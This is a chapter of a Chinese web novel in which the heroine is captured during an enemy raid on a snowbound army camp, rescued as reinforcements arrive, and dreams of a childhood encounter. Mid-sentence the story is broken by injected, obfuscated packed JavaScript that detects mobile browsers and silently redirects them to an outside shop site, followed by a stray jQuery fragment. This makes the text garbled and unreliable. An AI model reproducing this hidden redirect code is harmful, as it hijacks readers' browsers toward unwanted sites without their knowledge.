92. 梦银汉(四)
    第九十二章

    这雪来的迅猛,下的也迅猛,洋洋洒洒,不过三刻,便漠没了脚踝。

    军中士气不振,巡逻的士兵稀稀拉拉几队几队的,绕过前头的几顶营帐,后面的便松懈了。

    胡大仁大呵过几次,加了巡逻的人马。

    车儿在帐中呆坐片刻,索性什么也不管了,闷头大睡起来。

    晚间,阵阵风声中,传来喊打喊杀的声音。

    车儿猛的翻身坐起,束耳仔细聆听,外间混乱一片。

    有人高声喊着:“敌军袭营,敌军袭营!”

    车儿慌乱的往身上裹了几件衣裳,往外间一探头。

    惊觉营帐西北方向火光冲天,那是军粮,显然是已经被烧了。

    各将士都手执了长刀,往那处赶去。

    这如何是好!

    车儿脑子里飞速运转,实在是思虑不出刘琮是何意,难道是弃营地不顾了?

    她从榻上拿出刘琮给她的小弓、弩,上面还有三支短簇。

    她背起箭筒,将弓、弩别在腰间,往反方向奔去。

    主帅帐中的空地上,挂了那十几名逃兵的尸体,在火光下摇摇晃晃,实在是吓人的紧,车儿被吓到过好几次,每次都是避开的。

    这次却是管不得那么多,急冲过去。

    司马瓒还在指挥着几个将士将榻上的人挪走,车儿奔过去扯住司马瓒的衣袖,急问道:“胡大仁呢?”

    司马瓒一见是文昌,一口气梗在心头,上也不是下也不是。

    怎得将她忘了。

    见车儿苦大仇深的将自己看着,也顾不得她,忙道:“胡将军在抵御敌军,你莫要去寻他,先找个安全的地方躲起来!”

    安全的地方?哪里安全?

    车儿扯了司马瓒的衣袖,急急往外奔走,哪里安全她不知道,她只知道这里最不安全。

    主帅在营帐腹地,不出一刻,便会有敌军攻过来。

    现敌军袭营,她本以为刘琮会在这里,她来只是确认自己心里的想法的。

    哪知扑了个空!

    司马瓒还在吩咐将士:“快将大将军挪走!”

    车儿气急,见几个将士手忙脚乱的将榻上昏迷不醒的人挪到担架上,移出主帐。

    司马瓒这才松了一口气。

    车儿恨死了,推着司马瓒往外头去,大声骂道:“他不是大将军,我不信你没有看出来?”

    主帅帐中的人被移走,他安心了,顺着车儿推的力道,往外走去,闻言一顿,又加紧了步伐:“你怎么知晓?”

    车儿气死了,还在跟她装傻。

    加紧几步,和司马瓒并步跑着,气喘吁吁道:“你别管我怎么知道的,你们接下来怎么办?”

    司马瓒瞄了一眼车儿,道:“下官也不知晓!”

    车儿急了,大骂道:“都什么时候了?你还要藏着掖着?”

    司马瓒无奈道:“没有藏着掖着,下官是真的不知道,计划有变,大将军临时改变了计策,下官也不知道?”

    雪太大了,司马瓒的声音从耳侧传来,也带着冰冷的温度,模模糊糊的。

    车儿震惊!

    刘琮真的弃了营地?这里少说也有三千士兵呢?

    对了!

    车儿道:“镇远大将军呢?”

    司马瓒道:“也不知道,午时人便不在了!”

    车儿简直要跳起来拍司马瓒的头了,惊道:“这也不知道?”

    司马瓒自知理亏,低声下气道:“人家是镇远大将军,官职比大将军还大呢,去哪里当然不会告知下官的……”

    这还是司马瓒第一次在文昌面前如此吃瘪!

    车儿心下焦急也没有用,别管了,逃命要紧!

    这里最手无缚鸡之力的,便是她和司马瓒还有……

    对了,薛玉宁呢?

    车儿对司马瓒道:“往南逃,哪里有林地,躲在哪里,敌军难以发现!”

    司马瓒见文昌改了方向,急道:“你去哪里?”

    “我去找薛玉宁!”

    司马瓒也跟着她的脚步,将她拉住,火光映衬下,文昌额间细密的汗珠满布。

    “下官去找薛姑娘,你先走!”

    车儿将他甩开,道:“你还没有我跑的快呢!你先走,我找到薛玉宁,便去找你!”

    司马瓒有些动容,薛玉宁平日里对文昌的态度他不是不知道,只是懒得去提醒。

    可她眼里的真性情,一览无余,司马瓒叹了一口气:“她平日里为难于你,你……”

    车儿道:“现在哪里管的了哪些!”

    催促着司马瓒,让他赶紧离开。

    柔弱的身影火光中一晃,便不在了。

    司马瓒看着茫茫大雪,也明白了将军为何将文昌看的如此重要了。

    在这不是你死,便是我亡的征战中,那些难能可贵的真性情,是润物细无声,容易蛊惑人的,或许是惊人的容貌,或许是难掩的才智,或许是无邪的天真,或许是不经的善心……

    谁知道呢?

    车儿绕开人群,奔到帐前,一把掀开帘帐:“薛姑娘……”

    哪知帐中还有一个面附鬼面的男子。

    这军服诡异。

    车儿警觉,瞬间撒了手,往外间奔跑。

    颈后一痛,人便往后仰去,她告诉自己,不要晕过去,不要晕过去。

    仰起的面上好冰凉,密密麻麻大片的雪花丝绒一般,全往脸上扑来。

    带点风的冰凉,带点絮的调皮。

    一片……一片……

    后,便是一片昏暗。

    车儿浑身酸痛的醒来时,简直不敢相信自己的眼睛。

    她也被像是那些逃兵的尸体一般,挂在主帅帐前,随风荡着。

    这些尸体早已腐烂,遂是冰天雪地的冻了几日,可是腐烂的的恶臭味还是挡也挡不住的直往鼻子里钻。

    车儿被人堵了嘴巴,不知道塞得是什么,又酸又臭的。

    她呕了好几下,呕的面色通红。

    试着蹬了蹬腿,才惊觉原来脚也被捆着,现在她便像是一个蠕动的毛毛虫一般,被吊了起来。

    下头有人再喊:“你他娘的杨济,有本事和爷爷大战三百回合,挟持个女人算什么好汉……”

    是胡大仁!

    车儿往下望去。

    那面附鬼面的男子与几人被围在中间,周边全是梁军,围得水泄不通,看来是援军来了。

    而胡大仁身边的,便是车儿日思夜想的刘琮,他骑在骏马上,不像胡大仁一般气愤,沉着的目光看着她。

    隔着茫茫雪,隔着泱泱人群,隔着晃晃火光……

    车儿热泪盈眶的回视着刘琮,心里哀嚎:“刘琮啊!你可终于回来了,你她娘的再不回来,本公主可真的离开这美丽的人世间了……”

    杨济气急败坏,对着人群大骂道:“刘琮,你敢阴我?”

    刘琮驱马上前:“自古兵不厌诈,你技不如人?何来阴你一说?”

    杨济恨刘琮入骨,毁容一仇发誓要报。

    他环视着周边的将士,利剑往大雪中一指:“如今我败局已定,那又如何?便是我死又如何?那我也不让你好过!”

    剑锋一滑,往车儿下首指去。

    车儿低头看去,这才发现原来薛玉宁也被

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346706|148430||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    捆住手脚,跪在雪地里瑟瑟发抖。

    她蹬着腿,嘴里呜呜呜抗议,身子左右晃动起来,扯的绑着的手腕剧痛。

    杨济气急败坏:“哼!你金屋藏娇,在军中私藏女子,妄为将帅,今日,我便杀了她们成全你的美名……”

    哈哈大笑几声,趾高气扬的往刘琮面上看去。

    他已经无计可施了,口无遮拦的瞎说起来,这一幕何曾熟悉。

    他只希望刘琮向他低头,向他求饶。

    刘琮只是冷冷的看着他。

    他被刘琮的态度气的急火攻心。

    长剑执起,便往胡车儿的身上劈去。

    胡车儿热血上脑,“哄”的一声,又吓晕过去了。

    她梦到自己年岁方小的时候,去宫中给皇帝请安。

    皇帝将自己身边一个板着脸,满面泪痕的小皇子拉到自己面前,对着她道:“男子汉哭哭啼啼的,算什么样子,你看看瑾儿,朕从未见她哭过。”

    她拿着阿娘给的糕点,咬了一口,糕点酥脆,落在衣襟上,她轻轻的拍了拍。

    望着眼前板着脸的大哥哥,郑重的点了点头:“嗯,瑾儿很坚强的,从来都不哭,就算是受了再重的伤也不哭。”

    又怕他不信,将衣袖挽了起来,给他看自己手臂上将将结痂的伤口。

    指着伤口道:“瑾儿手臂上的伤口,流了好多的血,瑾儿也没有哭。”

    大哥哥未有动作,满含泪珠的眼睛却是瞟了过来。

    瑾儿见她开始理睬自己,便将手中吃了一半的糕点给他:“大哥哥,这个糖酥膏给你吃,这是阿娘给瑾儿亲手做的,可甜啦!”

    大哥哥“哼”了一声,转过身不理她。

    白影一晃,她看见那小人站在一个假山上,下头有几个一般大的皇子,嘻嘻哈哈一阵。

    忽地,那人背后出现了一个人,猛地一推,小人来不及转身,便掉了下去。

    等她赶到假山下时,大哥哥已经捂着满是血迹的衣袖,端坐在石头上。

    她惊呼一声:“大哥哥!”

    小心的将染血的衣袖掀起,便见胳膊内侧,被石头划破了一个很深的口子。

    她“哇”的一声大哭起来。

    那小人满是不屑,板着脸道:“是我受伤,又不是你受伤,哭什么?”

    小女孩泪眼朦胧,止不住的泪珠了,一颗一颗往下落:“瑾儿觉得好疼。”

    说着,掀起来自己的衣袖,给他看自己的伤口,相同的地方,相同的伤势。

    只是一个已经变成浅浅的一条,一个深入骨肉,注定此生难消。

    小女孩还在哭,声音越来越大,板着脸的小人受不住了。

    试着安慰道:“我不疼,别哭了!”

    小女孩憋着嘴,忍住哭意,呜咽道:“真的不疼吗?可是瑾儿受伤的时候好疼呀!瑾儿哭了许久!”

    小人气笑了:“上次在父皇面前你不是说不疼,没有哭吗?”

    小女孩呜呜咽咽:“疼!那是瑾儿怕阿娘担心,才忍着不哭的,瑾儿夜里偷偷疼哭过好几回呢!”

    男孩沉了脸:“放心吧,没有人担心我,我不疼,也不会不哭!”

    小女孩凑近一步,朦胧的泪眼看着他,嘟着嘴:“瑾儿会担心呀!”

    后来,那受伤的大哥哥,她再也没有见过,也不知他胳膊上的伤口,有没有痊愈。

    耳边声音嘈杂,模模糊糊间,有人在周边说:“急火攻心,加之劳累过度,以致风寒不退。”

    刘琮低沉着声音问司马瓒:“她何时来的这里?”

    车儿想:原来,他胳膊上的伤,不是在战争中留下来的。